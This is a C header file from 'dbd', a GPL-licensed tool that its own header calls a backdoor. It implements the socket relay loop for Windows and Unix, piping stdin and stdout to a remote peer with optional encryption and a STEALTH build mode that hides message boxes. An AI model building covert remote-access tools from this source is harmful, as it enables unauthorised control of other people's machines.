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readwrite.h
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readwrite.h
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/*
* dbd - durandal's backdoor
* Copyright (C) 2013 Kyle Barnthouse <durandal@gitbrew.org>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 59
* Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* See the COPYING file for more information.
*/
#ifdef WIN32
/* for Windows... */
int readwrite(SOCKET peersd) {
char buf[BUFSIZE];
#ifndef WINMAIN
int stdin_is_tty;
#endif
#ifndef WINMAIN
if (!_isatty(STDOUT_FILENO)) {
_setmode(STDOUT_FILENO, _O_BINARY);
}
if ((stdin_is_tty = _isatty(STDIN_FILENO)) == FALSE) {
_setmode(STDIN_FILENO, _O_BINARY);
}
#endif
while(1) {
fd_set fds;
struct timeval tv;
FD_ZERO(&fds);
FD_SET(peersd, &fds);
tv.tv_sec = 0;
tv.tv_usec = 1000;
if (select(FD_SETSIZE, &fds, NULL, NULL, &tv) != SOCKET_ERROR) {
int cnt;
if (FD_ISSET(peersd, &fds)) {
if (use_encryption) {
/* note: pel_recv_msg() modifies cnt */
cnt = sizeof(buf);
if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
#ifdef DEBUG
#ifndef WINMAIN
fprintf(stderr, "pel_recv_msg failed\n");
#else
errbox("pel_recv_msg failed!");
#endif
#endif
break;
}
if (cnt == 0) {
break;
}
} else {
if ((cnt = recv(peersd, buf, sizeof(buf), 0)) == SOCKET_ERROR) {
int wsaerr = WSAGetLastError();
if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
continue;
} else {
break;
}
} else if (cnt == 0) {
break;
}
}
#ifndef WINMAIN
if (highlight_incoming) {
write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
write(STDOUT_FILENO, buf, cnt);
write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
} else {
write(STDOUT_FILENO, buf, cnt);
}
#else
#ifndef STEALTH
forkmsgbox(buf, cnt);
#endif
#endif
}
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "select(): %s\n", WSAstrerror(WSAGetLastError()));
#else
#ifndef STEALTH
if (!quiet)
wsaerrbox("select()", WSAGetLastError());
#endif
#endif
break;
}
#ifndef WINMAIN
if (stdin_is_tty) {
if (kbhit()) {
/* once a key is hit, read() will block until CR has been
* received :\ */
int cnt = read(STDIN_FILENO, buf, sizeof(buf));
if (cnt <= 0) {
break;
}
if (use_encryption) {
if (prefix_outgoing_with) {
char stackbuf[128];
snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
#ifdef DEBUG
fprintf(stderr, "pel_send_msg failed\n");
#endif
break;
}
}
if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
#ifdef DEBUG
fprintf(stderr, "pel_send_msg failed\n");
#endif
break;
}
} else {
if (prefix_outgoing_with) {
char stackbuf[128];
snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
send(peersd, stackbuf, strlen(stackbuf), 0);
}
send(peersd, buf, cnt, 0);
}
}
} else {
/* for every line read from the socket, this will block until a CR
has been received :(
*/
int cnt = read(STDIN_FILENO, buf, sizeof(buf));
if (cnt <= 0) {
break;
} else {
if (use_encryption) {
if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
#ifdef DEBUG
#ifndef WINMAIN
fprintf(stderr, "pel_send_msg failed\n");
#else
#ifndef STEALTH
errbox("pel_send_msg failed!");
#endif
#endif
#endif
break;
}
} else {
send(peersd, buf, cnt, 0);
}
}
}
#endif
}
return 0;
}
#else
/* for Unix-like operating systems... */
int readwrite(int peersd) {
char buf[BUFSIZE];
int skipstdin = 0;
while(1) {
fd_set fds;
struct timeval to1;
int sel;
FD_ZERO(&fds);
if (!skipstdin) {
FD_SET(STDIN_FILENO, &fds);
}
FD_SET(peersd, &fds);
if (immobility_timeout > 0) {
to1.tv_sec = immobility_timeout;
to1.tv_usec = 0;
sel = select(FD_SETSIZE, &fds, NULL, NULL, &to1);
} else {
sel = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
}
if (sel > 0) {
int cnt;
if (FD_ISSET(STDIN_FILENO, &fds)) {
if ((cnt = read(STDIN_FILENO, buf, sizeof(buf))) < 1) {
if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
continue;
} else {
skipstdin = 1;
continue;
}
}
if (use_encryption) {
if (prefix_outgoing_with) {
char stackbuf[128];
snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
#ifdef DEBUG
fprintf(stderr, "pel_send_msg failed\n");
#endif
break;
}
}
if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
#ifdef DEBUG
fprintf(stderr, "pel_send_msg failed\n");
#endif
break;
}
} else {
if (prefix_outgoing_with) {
char stackbuf[128];
snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
send(peersd, stackbuf, strlen(stackbuf), 0);
}
send(peersd, buf, cnt, 0);
}
}
if (FD_ISSET(peersd, &fds)) {
if (use_encryption) {
/* note: pel_recv_msg() modifies cnt */
cnt = sizeof(buf);
if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
#ifdef DEBUG
fprintf(stderr, "pel_recv_msg failed\n");
#endif
break;
}
} else {
if ((cnt = recv(peersd, buf, sizeof(buf), 0)) < 1) {
if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
continue;
} else {
break;
}
}
}
if (highlight_incoming) {
write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
write(STDOUT_FILENO, buf, cnt);
write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
} else {
write(STDOUT_FILENO, buf, cnt);
}
}
} else {
/* break loop if select() returns 0 or < 0 */
break;
}
}
return 0;
}
#endif